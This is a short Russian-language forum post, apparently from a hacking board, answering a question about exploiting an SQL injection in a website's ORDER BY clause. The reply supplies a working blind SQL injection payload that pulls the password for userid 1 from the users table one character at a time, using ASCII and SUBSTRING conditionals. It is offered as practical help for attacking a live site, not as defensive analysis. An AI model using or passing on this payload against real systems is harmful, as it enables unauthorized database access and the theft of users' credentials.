
17.05.2010, 17:35
|
|
Участник форума
Регистрация: 06.02.2008
Сообщений: 110
Провел на форуме: 217423
Репутация:
32
|
|
Сообщение от [R]eD
Имеется сайт, в нем скуля в .... ORDER BY $id
Переборка запроса вроде
Код:
(id*IF(ASCII(SUBSTRING(USER(),1,1))=113,1,-1))
работает.
Вопрос: как в таком случае использовать (UNION) SELECT? Или любой другой способ сделать выборку из бд?
Все достаточно просто: с помощью подзапросов, вместо user() подставляешь запрос типа (SELECT+password+FROM+users+WHERE+userid='1') и таким образом запрос получается такой:
(id*IF(ASCII(SUBSTRING((SELECT+password+FROM+users +WHERE+userid='1'),1,1))=113,1,-1)), а далее посимвольно перебираешь остальную часть пароля
|
|
|